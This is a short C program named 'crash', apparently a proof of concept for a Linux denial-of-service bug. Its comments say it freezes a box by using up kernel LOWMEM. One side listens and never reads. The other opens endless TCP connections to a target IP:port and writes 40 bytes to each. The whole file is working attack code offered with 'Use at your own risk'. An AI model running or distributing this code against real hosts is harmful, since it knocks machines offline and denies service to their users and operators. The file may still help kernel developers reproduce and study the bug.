/*
 * Program to freeze a linux box, by using all the LOWMEM
 * A bug on the tcp stack may be the reason 
 * Use at your own risk !!
 */

/* Principles :
   A listener accepts incoming tcp sockets, write 40 bytes, and does nothing with them (no reading)
   A writer establish TCP sockets, sends some data (40 bytes), no more reading/writing
 */
#include <stdio.h>
# include <sys/socket.h>
# include <netinet/tcp.h>
# include <arpa/inet.h>
# include <netdb.h>
# include <unistd.h>
# include <string.h>

/*
 * Usage :
 *              crash listen port
 *              crash call IP:port
 */
void usage(int code)
{
fprintf(stderr, "Usages :\n") ;
fprintf(stderr, "    crash listen port\n") ;
fprintf(stderr, "    crash call IP:port\n") ;
exit(code) ;
}
const char some_data[40] = "some data.... just some data" ;

void do_listener(const char *string)
{
int port = atoi(string) ;
struct sockaddr_in host, from ;
int fdlisten ;
unsigned int total ;
socklen_t fromlen ;
  memset(&host,0, sizeof(host));
  host.sin_family = AF_INET;
  host.sin_port = htons(port);
  fdlisten = socket(AF_INET, SOCK_STREAM, 0) ;
  if (bind(fdlisten, (struct sockaddr *)&host, sizeof(host)) == -1) {
	perror("bind") ;
	return ;
	}
listen(fdlisten, 10) ;
for (total=0;;total++) {
	int nfd ;
	fromlen = sizeof(from) ;
	nfd = accept(fdlisten, (struct sockaddr *)&from, &fromlen) ;
	if (nfd == -1) break ;
	write(nfd, some_data, sizeof(some_data)) ;
	}
printf("total=%u\n", total) ;
pause() ;
}

void do_caller(const char *string)
{
union {
   int i ;
   char c[4] ;
	} u ;
struct sockaddr_in dest;
int a1, a2, a3, a4, port ;
unsigned int total ;
sscanf(string, "%d.%d.%d.%d:%d", &a1, &a2, &a3, &a4, &port) ;
u.c[0] = a1 ; u.c[1] = a2 ; u.c[2] = a3 ; u.c[3] = a4 ;
for (total=0;;total++) {
    int fd ;
	memset(&dest, 0, sizeof(dest)) ;
	dest.sin_family = AF_INET ;
   	dest.sin_port = htons(port) ;
   	dest.sin_addr.s_addr = u.i ;
    fd = socket(AF_INET, SOCK_STREAM, 0) ;
	if (fd == -1) break ;
	if (connect(fd, (struct sockaddr *)&dest, sizeof(dest)) == -1) {
		perror("connect") ;
		break ;
		}
	write(fd, some_data, sizeof(some_data)) ;
	}
printf("total=%u\n", total) ;
pause() ;
}

int main(int argc, char *argv[])
{
int listener ;
int caller ;
if (argc != 3) {
	usage(1);
	}
listener = !strcmp(argv[1], "listen") ;
caller = !strcmp(argv[1], "call") ;
if (listener) {
	do_listener(argv[2]) ;
	}
else if (caller) {
	do_caller(argv[2]) ;
	}
else usage(2) ;
return 0 ;
}
/********************************************************************/